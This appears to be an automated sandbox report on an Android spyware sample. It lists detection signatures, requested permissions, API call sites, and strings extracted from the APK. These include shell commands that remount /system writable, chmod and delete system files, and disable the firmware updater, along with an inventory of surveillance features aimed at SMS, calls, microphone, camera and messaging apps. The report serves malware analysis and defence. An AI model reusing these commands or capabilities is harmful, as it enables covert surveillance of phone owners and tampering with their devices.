Loading Joe Sandbox Report ...

Edit tour

Android Analysis Report
k5pRRb0ODN

Overview

General Information

Sample Name:k5pRRb0ODN
Analysis ID:674229
MD5:7c3ad8fec33465fed6563bbfabb5b13d
SHA1:e5920f3723e62e1850157f09baf556006bf80f74
SHA256:ade8bef0ac29fa363fc9afd958af0074478aef650adeb0318517b48bd996d5d5
Infos:

Detection

Score:72
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Attempts to mount system partition as writable
Tries to change file permissions on the native system using chmod
Drops a new APK file
Ends incoming calls
Has permission to write to the SMS storage
Requests permissions only permitted to signed APKs
Queries list of running processes/tasks
Redirects camera/video feed
Uses the DexClassLoader (often used for code injection)
Queries SMS data
May spy on whatsapp messages
Monitors incoming Phone calls
Starts/registers a service/receiver on phone boot (autostart)
Has permission to read low-level log files (spy personal data)
Queries if audio routing to the Bluetooth headset is enabled
Obfuscates method names
Has permission to read the SMS storage
Installs a new wake lock (to get activate on phone screen on)
Queries phone contact information
Found suspicious command strings (may be related to BOT commands)
Has permission to mount or unmount file systems (removable storage)
Monitors incoming SMS
Queries system settings
Sends SMS using SmsManager
Checks an internet connection is available
Has permission to read the default browser history
Has permission to record audio in the background
Creates SMS data (e.g. PDU)
Requests potentially dangerous permissions
May check for popular installed apps
May spy on facebook database
Queries call logs/history
Reads the incoming call number
May block phone calls / Accesses private ITelephony interface
Has permission to take photos
Has permissions to monitor, redirect and/or block calls
May spy on viber chat VOIP data
Has permission to perform phone calls in the background
Queries the phones location (GPS)
Opens an internet connection
May access the Android keyguard (lock screen)
Aborts a broadcast event (this is often done to hide phone events such as incoming SMS)
Has permission to install other packages
Parses SMS data (e.g. originating address)
Has permissions to create, read or change account settings (inlcuding account password settings)
Has permission to receive SMS in the background
Lists and deletes files in the same context
Has permission to read contacts
Requests permissions only permitted to signed APKs or APKs which are within the system image
Queries email messages
Detected TCP or UDP traffic on non-standard ports
Has functionalty to add an overlay to other apps
Has permission to draw over other applications or user interfaces
Has permission to delete other packages
Has permission to use bluetooth to discover and pair with other devices
Queries the unqiue device ID (IMEI, MEID or ESN)
Has permission to read the phones state (phone number, device IDs, active call ect.)
Has permission to write to the default browser history
Queries SIM card contact information
Accesses android OS build fields
Executes native commands
Has permission to change the WIFI configuration including connecting and disconnecting
Records audio/media
Queries camera information
Queries the network operator numeric MCC+MNC (mobile country code + mobile network code)
Queries several sensitive phone informations
Has permission to send SMS in the background
Modifies the audio routing behavior
Has permission to query the list of currently running applications
Has permission to terminate background processes of other applications
Has permission to execute code after phone reboot
Uses reflection

Classification

No yara matches
No Snort rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: k5pRRb0ODNVirustotal: Detection: 68%Perma Link
Source: k5pRRb0ODNMetadefender: Detection: 26%Perma Link
Source: k5pRRb0ODNReversingLabs: Detection: 65%
Source: k5pRRb0ODNAvira: detected
Source: k5pRRb0ODNAvira: detected
Source: com.network.android.a.c;->a:173API Call: android.telephony.TelephonyManager.getCellLocation
Source: com.network.android.SmsReceiver;->a:178API Call: android.telephony.TelephonyManager.getCellLocation
Source: com.network.android.m;->a:1287API Call: android.telephony.TelephonyManager.getCellLocation
Source: com.network.android.m;->a:1310API Call: android.location.Location.getLatitude
Source: com.network.android.m;->a:1320API Call: android.location.Location.getLongitude
Source: com.network.location.a;->h:415API Call: android.telephony.TelephonyManager.getCellLocation

Privilege Escalation

barindex
Source: Lcom/network/h/b;->e(Landroid/content/Context;)VMethod string: " mount -o remount,rw /dev/null /system;"
Source: Lcom/network/h/b;->e(Landroid/content/Context;)VMethod string: "removePackage uninstalling using package manager. command: export LD_LIBRARY_PATH=/vendor/lib:/system/lib;mount -o remount,rw /dev/null /system;chmod 0777 /system/csk;rm /system/csk;rm /system/ttg;pm uninstall com.network.android;"
Source: Lcom/network/h/b;->e(Landroid/content/Context;)VMethod string: "export LD_LIBRARY_PATH=/vendor/lib:/system/lib;mount -o remount,rw /dev/null /system;chmod 0777 /system/csk;rm /system/csk;rm /system/ttg;pm uninstall com.network.android;"
Source: Lcom/network/android/agent/NetworkApp;->d(Landroid/content/Context;)VMethod string: "mount -o remount,rw,exec,suid /system; rm /system/app/FotaClient.apk; rm /system/app/FotaClient.odex; pm disable com.sec.android.fotaclient;"
Source: Lcom/network/h/a;->b(Landroid/content/Context;)Ljava/lang/String;Method string: " mount -o remount,rw /dev/null /system;"
Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_STATE
Source: com.network.android.j;->e:272API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.network.android.j;->e:273API Call: android.net.NetworkInfo.isConnectedOrConnecting
Source: com.network.android.SmsReceiver;->a:58API Call: android.net.ConnectivityManager.getAllNetworkInfo
Source: com.network.android.SmsReceiver;->a:65API Call: android.net.NetworkInfo.isConnected
Source: com.network.android.SmsReceiver;->a:72API Call: android.net.NetworkInfo.isConnected
Source: com.network.android.SmsReceiver;->a:188API Call: android.net.NetworkInfo.isConnected
Source: com.network.android.j;->a:92API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.network.android.j;->a:93API Call: android.net.NetworkInfo.isConnectedOrConnecting
Source: com.network.android.j;->a:127API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.network.android.j;->a:128API Call: android.net.NetworkInfo.isConnectedOrConnecting
Source: com.network.android.j;->a:149API Call: android.net.ConnectivityManager.getAllNetworkInfo
Source: com.network.android.j;->a:156API Call: android.net.NetworkInfo.isConnected
Source: com.network.android.j;->a:163API Call: android.net.NetworkInfo.isConnected
Source: com.network.android.j;->a:167API Call: android.net.NetworkInfo.isConnected
Source: com.network.f.a;->a:129API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.network.f.a;->a:130API Call: android.net.NetworkInfo.isConnected
Source: com.network.f.a;->a:185API Call: android.net.ConnectivityManager.getAllNetworkInfo
Source: com.network.f.a;->a:189API Call: android.net.NetworkInfo.isConnected
Source: com.network.f.a;->a:195API Call: android.net.NetworkInfo.isConnected
Source: com.network.android.g;->a:211API Call: java.net.URL.openConnection (not executed)
Source: com.network.h.b;->a:351API Call: java.net.URL.openConnection (not executed)
Source: global trafficTCP traffic: 192.168.2.30:56068 -> 8.8.4.4:853
Source: unknownNetwork traffic detected: HTTP traffic on port 39602 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50870 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55078 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55078
Source: unknownNetwork traffic detected: HTTP traffic on port 50458 -> 443
Source: com.network.android.g;->a:236API Call: java.net.HttpURLConnection.connect
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.212.170
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.163
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.212.170
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.163
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.42
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.206.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.206.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.206.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.206.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.206.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.206.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.206.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.206.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.206.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.206.188
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.110
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.110
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.110
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.110
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.110
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.110
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.110
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.110
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.110
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.110
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.110
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.110
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.212.170
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.163
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.212.170
Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.163
Source: main.xmlString found in binary or memory: http://schemas.android.com/apk/res/android
Source: messages_zh_CN.properties, messages_it.properties, messages.properties, messages_ru.properties, messages_cs.properties, messages_pl.properties, messages_zh_TW.properties, messages_hu.properties, messages_ko.properties, messages_ja.properties, messages_pt_BR.properties, messages_fr.properties, messages_de.properties, messages_es.propertiesString found in binary or memory: http://www.eclipse.org/legal/epl-v10.html
Source: unknownHTTP traffic detected: POST /c2dm/register3 HTTP/1.1Authorization: AidLogin 3976102378291501644:1184905049225720946app: com.google.android.gmsgcm_ver: 210214031User-Agent: Android-GCM/1.5 (x86 PI)content-length: 477content-type: application/x-www-form-urlencodedHost: android.clients.google.comConnection: Keep-AliveAccept-Encoding: gzip
Source: com.network.android.a.c;->d:894API Call: android.media.AudioManager.isBluetoothA2dpOn
Source: submitted apkRequest permission: android.permission.RECORD_AUDIO
Source: submitted apkRequest permission: android.permission.CAMERA
Source: com.network.android.roomTap.AutoAnswerReceiver;->c:253API Call: android.media.MediaRecorder.start
Source: com.network.media.s;->run:51API Call: android.media.MediaRecorder.start
Source: com.network.media.s;->run:13API Call: android.media.AudioManager.setMode
Source: com.network.media.r;->c:178API Call: android.media.AudioManager.setMode
Source: com.network.android.roomTap.AutoAnswerReceiver;->c:238API Call: android.media.MediaRecorder.<init>
Source: com.network.media.r;->a:95API Call: android.media.MediaRecorder.<init>
Source: Lcom/network/android/o;->run()VMethod string: "/data/data/com.whatsapp"
Source: Lcom/network/android/p;->a(Ljava/lang/String;Ljava/util/regex/Pattern;Ljava/lang/String;)Ljava/util/List;Method string: "/data/data/com.twitter.android/databases/"
Source: Lcom/network/android/d/a;->a(Landroid/os/Handler;Landroid/content/Context;Z)VMethod string: "/data/data/com.facebook.katana/"
Source: Lcom/network/android/d/i;->a(Landroid/os/Handler;Landroid/content/Context;Z)VMethod string: "/data/data/com.viber.voip/"
Source: com.network.android.roomTap.BlackScreen;->onCreate:255API Call: WindowManager.addView
Source: com.network.android.roomTap.BlackScreen;->onCreate:271API Call: WindowManager.addView
Source: submitted apkRequest permission: android.permission.GET_TASKS

Spam, unwanted Advertisements and Ransom Demands

barindex
Source: com.android.internal.telephony.ITelephony$Stub;->onTransact:9API Call: com.android.internal.telephony.ITelephony$Stub.answerRingingCall
Source: com.android.internal.telephony.ITelephony$Stub;->onTransact:17API Call: com.android.internal.telephony.ITelephony$Stub.endCall
Source: submitted apkRequest permission: android.permission.WRITE_SMS
Source: com.network.android.a.c;->a:255API Call: android.telephony.SmsManager.sendTextMessage
Source: Lcom/network/android/o;->run()VMethod string: "/data/data/com.whatsapp"
Source: Lcom/network/android/p;->a(Ljava/lang/String;Ljava/util/regex/Pattern;Ljava/lang/String;)Ljava/util/List;Method string: "/data/data/com.twitter.android/databases/"
Source: Lcom/network/android/d/a;->a(Landroid/os/Handler;Landroid/content/Context;Z)VMethod string: "/data/data/com.facebook.katana/"
Source: Lcom/network/android/d/i;->a(Landroid/os/Handler;Landroid/content/Context;Z)VMethod string: "/data/data/com.viber.voip/"
Source: com.network.android.roomTap.AutoAnswerReceiver;->b:155API Call: java.lang.Class.getDeclaredMethod("getITelephony")
Source: com.network.android.roomTap.AutoAnswerReceiver;->i:475API Call: java.lang.Class.getDeclaredMethod("getITelephony")
Source: submitted apkRequest permission: android.permission.PROCESS_OUTGOING_CALLS
Source: submitted apkRequest permission: android.permission.CALL_PHONE
Source: submitted apkRequest permission: com.android.browser.permission.WRITE_HISTORY_BOOKMARKS
Source: submitted apkRequest permission: android.permission.SEND_SMS
Source: a.a.a.a.a.e;->a:52API Calls in same method context: File.listFiles,File.delete
Source: com.network.android.c.a.b;->a:41API Calls in same method context: File.listFiles,File.delete
Source: a.a.a.a.a.e;->a:15API Calls in same method context: File.listFiles,File.delete
Source: com.network.i.b;->b:454API Calls in same method context: File.listFiles,File.delete
Source: com.network.d.a;->b:323API Calls in same method context: File.listFiles,File.delete
Source: com.network.h.b;->c:654API Calls in same method context: File.listFiles,File.delete
Source: submitted apkRequest permission: android.permission.DELETE_PACKAGES
Source: AndroidManifest.xmlString found in binary or memory: android.permission.DIAGNOSTIC#android.permission.DISABLE_KEYGUARD
Source: classes.dexString found in binary or memory: Landroid/app/KeyguardManager;
Source: classes.dexString found in binary or memory: inKeyguardRestrictedInputMode
Source: classes.dexString found in binary or memory: keyguard
Source: androidString found in binary or memory: keyguard
Source: com.network.android.roomTap.AutoAnswerReceiver;->g:441API Call: android.media.AudioManager.setVibrateSetting("0")
Source: com.network.android.roomTap.k;->a:38API Call: android.os.PowerManager$WakeLock.acquire
Source: com.network.android.a.h;->run:12API Call: android.app.AlarmManager.setRepeating
Source: com.network.android.agent.NetworkApp;->a:57API Call: android.app.AlarmManager.setRepeating
Source: com.network.android.g;->a:458API Call: android.app.AlarmManager.setRepeating
Source: com.network.android.roomTap.AutoAnswerReceiver;->g:400API Call: android.media.AudioManager.setRingerMode("0")

System Summary

barindex
Source: com.network.media.a;->a:166API Call: java.io.File.<init>
Source: submitted apkRequest permission: android.permission.ACCESS_SURFACE_FLINGER
Source: submitted apkRequest permission: android.permission.ACCOUNT_MANAGER
Source: submitted apkRequest permission: android.permission.BIND_DEVICE_ADMIN
Source: submitted apkRequest permission: android.permission.BIND_INPUT_METHOD
Source: submitted apkRequest permission: android.permission.BRICK
Source: submitted apkRequest permission: android.permission.BROADCAST_PACKAGE_REMOVED
Source: submitted apkRequest permission: android.permission.BROADCAST_SMS
Source: submitted apkRequest permission: android.permission.BROADCAST_WAP_PUSH
Source: submitted apkRequest permission: android.permission.CHANGE_COMPONENT_ENABLED_STATE
Source: submitted apkRequest permission: android.permission.CLEAR_APP_USER_DATA
Source: submitted apkRequest permission: android.permission.DEVICE_POWER
Source: submitted apkRequest permission: android.permission.DIAGNOSTIC
Source: submitted apkRequest permission: android.permission.FACTORY_TEST
Source: submitted apkRequest permission: android.permission.FORCE_BACK
Source: submitted apkRequest permission: android.permission.FORCE_STOP_PACKAGES
Source: submitted apkRequest permission: android.permission.HARDWARE_TEST
Source: submitted apkRequest permission: android.permission.INJECT_EVENTS
Source: submitted apkRequest permission: android.permission.INTERNAL_SYSTEM_WINDOW
Source: submitted apkRequest permission: android.permission.MANAGE_APP_TOKENS
Source: submitted apkRequest permission: android.permission.READ_FRAME_BUFFER
Source: submitted apkRequest permission: android.permission.READ_INPUT_STATE
Source: submitted apkRequest permission: android.permission.SET_ACTIVITY_WATCHER
Source: submitted apkRequest permission: android.permission.SET_ORIENTATION
Source: submitted apkRequest permission: android.permission.SET_PREFERRED_APPLICATIONS
Source: submitted apkRequest permission: android.permission.UPDATE_DEVICE_STATS
Source: submitted apkRequest permission: android.permission.ACCESS_COARSE_LOCATION
Source: submitted apkRequest permission: android.permission.ACCESS_FINE_LOCATION
Source: submitted apkRequest permission: android.permission.ACCESS_MOCK_LOCATION
Source: submitted apkRequest permission: android.permission.AUTHENTICATE_ACCOUNTS
Source: submitted apkRequest permission: android.permission.BLUETOOTH
Source: submitted apkRequest permission: android.permission.BLUETOOTH_ADMIN
Source: submitted apkRequest permission: android.permission.CALL_PHONE
Source: submitted apkRequest permission: android.permission.CAMERA
Source: submitted apkRequest permission: android.permission.CHANGE_CONFIGURATION
Source: submitted apkRequest permission: android.permission.CHANGE_NETWORK_STATE
Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_MULTICAST_STATE
Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_STATE
Source: submitted apkRequest permission: android.permission.CLEAR_APP_CACHE
Source: submitted apkRequest permission: android.permission.DUMP
Source: submitted apkRequest permission: android.permission.GET_TASKS
Source: submitted apkRequest permission: android.permission.INTERNET
Source: submitted apkRequest permission: android.permission.MANAGE_ACCOUNTS
Source: submitted apkRequest permission: android.permission.MODIFY_AUDIO_SETTINGS
Source: submitted apkRequest permission: android.permission.MODIFY_PHONE_STATE
Source: submitted apkRequest permission: android.permission.MOUNT_FORMAT_FILESYSTEMS
Source: submitted apkRequest permission: android.permission.MOUNT_UNMOUNT_FILESYSTEMS
Source: submitted apkRequest permission: android.permission.PERSISTENT_ACTIVITY
Source: submitted apkRequest permission: android.permission.PROCESS_OUTGOING_CALLS
Source: submitted apkRequest permission: android.permission.READ_CALENDAR
Source: submitted apkRequest permission: android.permission.READ_CONTACTS
Source: submitted apkRequest permission: android.permission.READ_LOGS
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Source: submitted apkRequest permission: android.permission.READ_SMS
Source: submitted apkRequest permission: android.permission.RECEIVE_MMS
Source: submitted apkRequest permission: android.permission.RECEIVE_SMS
Source: submitted apkRequest permission: android.permission.RECEIVE_WAP_PUSH
Source: submitted apkRequest permission: android.permission.RECORD_AUDIO
Source: submitted apkRequest permission: android.permission.REORDER_TASKS
Source: submitted apkRequest permission: android.permission.SEND_SMS
Source: submitted apkRequest permission: android.permission.SET_ALWAYS_FINISH
Source: submitted apkRequest permission: android.permission.SET_ANIMATION_SCALE
Source: submitted apkRequest permission: android.permission.SET_DEBUG_APP
Source: submitted apkRequest permission: android.permission.SET_PROCESS_LIMIT
Source: submitted apkRequest permission: android.permission.SET_TIME_ZONE
Source: submitted apkRequest permission: android.permission.SIGNAL_PERSISTENT_PROCESSES
Source: submitted apkRequest permission: android.permission.SUBSCRIBED_FEEDS_WRITE
Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
Source: submitted apkRequest permission: android.permission.USE_CREDENTIALS
Source: submitted apkRequest permission: android.permission.WAKE_LOCK
Source: submitted apkRequest permission: android.permission.WRITE_APN_SETTINGS
Source: submitted apkRequest permission: android.permission.WRITE_CALENDAR
Source: submitted apkRequest permission: android.permission.WRITE_CONTACTS
Source: submitted apkRequest permission: android.permission.WRITE_EXTERNAL_STORAGE
Source: submitted apkRequest permission: android.permission.WRITE_SETTINGS
Source: submitted apkRequest permission: android.permission.WRITE_SMS
Source: submitted apkRequest permission: android.permission.WRITE_SYNC_SETTINGS
Source: submitted apkRequest permission: com.android.browser.permission.READ_HISTORY_BOOKMARKS
Source: submitted apkRequest permission: com.android.browser.permission.WRITE_HISTORY_BOOKMARKS
Source: submitted apkRequest permission: android.permission.ACCESS_CHECKIN_PROPERTIES
Source: submitted apkRequest permission: android.permission.BIND_APPWIDGET
Source: submitted apkRequest permission: android.permission.BIND_WALLPAPER
Source: submitted apkRequest permission: android.permission.CALL_PRIVILEGED
Source: submitted apkRequest permission: android.permission.CONTROL_LOCATION_UPDATES
Source: submitted apkRequest permission: android.permission.DELETE_CACHE_FILES
Source: submitted apkRequest permission: android.permission.DELETE_PACKAGES
Source: submitted apkRequest permission: android.permission.GLOBAL_SEARCH
Source: submitted apkRequest permission: android.permission.INSTALL_LOCATION_PROVIDER
Source: submitted apkRequest permission: android.permission.INSTALL_PACKAGES
Source: submitted apkRequest permission: android.permission.MASTER_CLEAR
Source: submitted apkRequest permission: android.permission.REBOOT
Source: submitted apkRequest permission: android.permission.SET_TIME
Source: submitted apkRequest permission: android.permission.STATUS_BAR
Source: submitted apkRequest permission: android.permission.WRITE_GSERVICES
Source: submitted apkRequest permission: android.permission.WRITE_SECURE_SETTINGS
Source: com.network.android.m;->a:1137API Call: java.lang.Runtime.exec ("getprop")
Source: com.network.android.m;->c:2047API Call: java.lang.Runtime.exec
Source: com.network.h.b;->b:437API Call: java.lang.Runtime.exec
Source: com.network.h.a;->c:323API Call: java.lang.Runtime.exec
Source: com.network.android.monitor.observer.n;->a:174API Call: "networkId": null
Source: com.network.b.b;->d:476API Call: "NetworkWindowResizer": null
Source: com.network.b.b;->d:485API Call: "NetworkWindowResizer": null
Source: com.network.b.b;->d:488API Call: "NetworkWindowSim": null
Source: com.network.b.b;->d:490API Call: "WindowTargetSms": null
Source: com.network.b.b;->a:91API Call: "Skypi": null
Source: com.network.b.b;->d:506API Call: "packageVersion": null
Source: com.network.b.b;->d:508API Call: "vulnarbilityIndicator": null
Source: com.network.b.b;->d:527API Call: "commandTimeStamp": null
Source: com.network.b.b;->d:533API Call: "userNetwork": null
Source: com.network.b.b;->d:535API Call: "installation": null
Source: com.network.b.b;->d:563API Call: "logNetwork": 0vlt.dat
Source: com.network.b.b;->d:576API Call: "url address": null
Source: com.network.b.b;->d:582API Call: "mqttPassword":
Source: com.network.b.b;->d:591API Call: "mqttUsername":
Source: com.network.b.b;->d:594API Call: "mqttIdPref":
Source: com.network.b.b;->d:603API Call: "mqttPort":
Source: com.network.b.b;->d:606API Call: "mqttHost":
Source: com.network.b.b;->d:610API Call: "firstRunIndex": null
Source: com.network.android.agent.NetworkApp;->c:380API Call: "NetworkWindowSim": No Sim Number
Source: com.network.b.b;->d:563API Call: "logNetwork": null
Source: com.network.android.agent.NetworkApp;->a:67API Call: android.content.SharedPreferences.getBoolean
Source: com.network.android.agent.NetworkApp;->a:255API Call: android.content.SharedPreferences.getBoolean
Source: com.network.android.agent.NetworkApp;->a:292API Call: android.content.SharedPreferences.getBoolean
Source: com.network.android.m;->a:427API Call: android.content.SharedPreferences.getString
Source: com.network.android.m;->a:430API Call: android.content.SharedPreferences.getString
Source: com.network.android.m;->a:603API Call: android.content.SharedPreferences.getString
Source: com.network.android.m;->a:658API Call: android.content.SharedPreferences.getString
Source: com.network.android.q;->run:226API Call: android.content.SharedPreferences.getString
Source: com.network.android.s;->run:128API Call: android.content.SharedPreferences.getString
Source: com.network.b.b;->d:525API Call: android.content.SharedPreferences.getBoolean
Source: com.network.b.b;->d:537API Call: android.content.SharedPreferences.getBoolean
Source: com.network.b.b;->d:540API Call: android.content.SharedPreferences.getBoolean
Source: com.network.b.b;->d:545API Call: android.content.SharedPreferences.getBoolean
Source: com.network.b.b;->d:547API Call: android.content.SharedPreferences.getBoolean
Source: com.network.b.b;->d:549API Call: android.content.SharedPreferences.getBoolean
Source: com.network.b.b;->d:551API Call: android.content.SharedPreferences.getBoolean
Source: com.network.b.b;->d:553API Call: android.content.SharedPreferences.getBoolean
Source: com.network.b.b;->d:555API Call: android.content.SharedPreferences.getBoolean
Source: com.network.b.b;->d:557API Call: android.content.SharedPreferences.getBoolean
Source: com.network.b.b;->d:559API Call: android.content.SharedPreferences.getBoolean
Source: com.network.b.b;->d:565API Call: android.content.SharedPreferences.getBoolean
Source: com.network.b.b;->d:567API Call: android.content.SharedPreferences.getBoolean
Source: com.network.b.b;->d:579API Call: android.content.SharedPreferences.getBoolean
Source: com.network.b.b;->d:586API Call: android.content.SharedPreferences.getBoolean
Source: com.network.b.b;->d:608API Call: android.content.SharedPreferences.getBoolean
Source: com.network.b.b;->d:615API Call: android.content.SharedPreferences.getBoolean
Source: com.network.location.a;->c:232API Call: android.content.SharedPreferences.getBoolean
Source: com.network.android.b.a;->onCreate:468API Call: android.database.sqlite.SQLiteDatabase.execSQL
Source: classification engineClassification label: mal72.rans.spyw.and@0/255@0/0
Source: k5pRRb0ODNTotal valid method names: 3%
Source: com.network.android.roomTap.k;->a:25API Call: Real call: android.os.PowerManager@db67d00
Source: com.network.android.roomTap.k;->a:25API Call: Real call: public boolean android.os.PowerManager.isScreenOn()
Source: com.network.android.android.monitor.NetworkManagerService;->a:7API Call: java.lang.reflect.Method.invoke
Source: com.network.android.roomTap.AutoAnswerReceiver;->b:157API Call: java.lang.reflect.Method.invoke
Source: com.network.android.roomTap.BlackScreen;->onCreate:212API Call: java.lang.reflect.Method.invoke
Source: com.network.android.roomTap.BlackScreen;->onCreate:249API Call: java.lang.reflect.Method.invoke
Source: com.network.android.roomTap.AutoAnswerReceiver;->i:477API Call: java.lang.reflect.Method.invoke
Source: a.a.a.a.a.a.i;-><init>:11API Call: java.lang.reflect.Method.invoke
Source: a.a.a.a.a.a.j;->a:11API Call: java.lang.reflect.Method.invoke
Source: a.a.a.a.a.a.i;-><init>:15API Call: java.lang.reflect.Method.invoke
Source: a.a.a.a.a.a.j;->b:18API Call: java.lang.reflect.Method.invoke
Source: a.a.a.a.a.a.j;->c:23API Call: java.lang.reflect.Method.invoke
Source: a.a.a.a.a.a.i;->a:24API Call: java.lang.reflect.Method.invoke
Source: a.a.a.a.a.a.j;->d:29API Call: java.lang.reflect.Method.invoke
Source: a.a.a.a.a.a.c.a;->c:52API Call: java.lang.reflect.Method.invoke
Source: a.a.a.a.a.a.c.a;->c:55API Call: java.lang.reflect.Method.invoke
Source: a.a.a.a.a.a.c.a;->c:59API Call: java.lang.reflect.Method.invoke
Source: com.network.h.b;->a:26API Call: java.lang.reflect.Method.invoke
Source: com.network.h.b;->b:415API Call: java.lang.reflect.Method.invoke
Source: com.network.h.j;->a:175API Call: java.lang.reflect.Method.invoke
Source: com.network.h.j;->b:424API Call: java.lang.reflect.Method.invoke

Persistence and Installation Behavior

barindex
Source: Android AppFile dump: /data/app/com.network.android-SsvII82gNSMb8WVJzOgspg==/base.apkJump to dropped file
Source: submitted apkRequest permission: android.permission.INSTALL_PACKAGES
Source: com.network.h.b;->c:669API Call: java.io.FileWriter.<init>
Source: com.network.h.b;->f:1108API Call: java.io.FileWriter.<init>
Source: com.network.android.ab;->a:29API Call: java.io.FileWriter.<init>
Source: com.network.h.b;->b:574API Call: java.io.FileWriter.<init>
Source: com.network.i.b;->a:213API Call: java.io.FileWriter.<init>
Source: com.network.android.BootReceiver;->onReceive:12API Call: com.network.android.agent.NetworkApp.startService("Intent { cmp=com.network.android/com.network.ussd.CDUSSDService }")
Source: com.network.android.roomTap.k;->a:37API Call: android.os.PowerManager.newWakeLock
Source: submitted apkRequest permission: android.permission.RECEIVE_BOOT_COMPLETED
Source: com.network.android.android.monitor.b;->a:4API Call: android.app.ActivityManager.getRunningAppProcesses
Source: com.network.d.a;->c:427API Call: android.app.ActivityManager.getRunningAppProcesses
Source: submitted apkRequest permission: android.permission.PROCESS_OUTGOING_CALLS
Source: com.network.android.roomTap.MediaPlayerIntentReciever;->onReceive:14API Call: com.network.android.roomTap.MediaPlayerIntentReciever.abortBroadcast
Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
Source: submitted apkRequest permission: android.permission.BLUETOOTH_ADMIN
Source: submitted apkRequest permission: android.permission.GET_TASKS
Source: submitted apkRequest permission: android.permission.KILL_BACKGROUND_PROCESSES
Source: com.network.android.a.b;->a:185API Call: java.security.MessageDigest.getInstance
Source: com.network.android.a.b;->a:187API Call: java.security.MessageDigest.update
Source: com.network.android.a.b;->a:188API Call: java.security.MessageDigest.digest
Source: com.network.android.a.b;->a:259API Call: java.security.MessageDigest.getInstance
Source: com.network.android.a.b;->a:262API Call: java.security.MessageDigest.update
Source: com.network.android.a.b;->a:263API Call: java.security.MessageDigest.digest
Source: com.network.android.f;->a:11API Call: java.security.MessageDigest.getInstance
Source: com.network.android.f;->a:12API Call: java.security.MessageDigest.update
Source: com.network.android.f;->a:13API Call: java.security.MessageDigest.digest
Source: com.network.android.f;->a:18API Call: javax.crypto.Cipher.getInstance
Source: com.network.android.f;->a:20API Call: javax.crypto.Cipher.init
Source: com.network.android.f;->a:21API Call: javax.crypto.Cipher.doFinal
Source: com.network.android.f;->a:31API Call: javax.crypto.Cipher.getInstance
Source: com.network.android.f;->a:33API Call: javax.crypto.Cipher.init
Source: com.network.android.f;->a:34API Call: javax.crypto.Cipher.doFinal
Source: com.network.android.h;-><clinit>:11API Call: javax.crypto.KeyGenerator.generateKey
Source: com.network.android.h;->a:39API Call: javax.crypto.Cipher.getInstance
Source: com.network.android.h;->a:40API Call: javax.crypto.Cipher.init
Source: com.network.android.h;->a:41API Call: javax.crypto.Cipher.doFinal
Source: com.network.android.h;->b:72API Call: javax.crypto.Cipher.getInstance
Source: com.network.android.h;->b:73API Call: javax.crypto.Cipher.init
Source: com.network.android.h;->b:74API Call: javax.crypto.Cipher.doFinal
Source: com.network.c.a;-><init>:25API Call: javax.crypto.Cipher.getInstance
Source: com.network.c.a;-><init>:28API Call: javax.crypto.Cipher.init
Source: com.network.c.a;-><init>:30API Call: javax.crypto.Cipher.getInstance
Source: com.network.c.a;-><init>:33API Call: javax.crypto.Cipher.init
Source: com.network.c.a;->a:54API Call: javax.crypto.Cipher.doFinal
Source: com.network.h.j;->a:199API Call: java.security.MessageDigest.getInstance
Source: com.network.h.j;->a:200API Call: java.security.MessageDigest.update
Source: com.network.h.j;->a:201API Call: java.security.MessageDigest.digest
Source: com.network.android.agent.NetworkApp;->a:245Field Access: android.os.Build.FINGERPRINT
Source: com.network.b.a;->c:57Field Access: android.os.Build.MODEL
Source: com.network.android.SmsReceiver;->a:112Field Access: android.os.Build.FINGERPRINT
Source: com.network.android.SmsReceiver;->a:158Field Access: android.os.Build.MODEL
Source: com.network.android.SmsReceiver;->a:162Field Access: android.os.Build.MANUFACTURER
Source: com.network.android.SmsReceiver;->a:166Field Access: android.os.Build.DEVICE
Source: com.network.android.SmsReceiver;->a:172Field Access: android.os.Build$VERSION.RELEASE
Source: com.network.android.ab;->a:32Field Access: android.os.Build.FINGERPRINT
Source: com.network.android.roomTap.AutoAnswerReceiver;->a:499Field Access: android.os.Build.MODEL
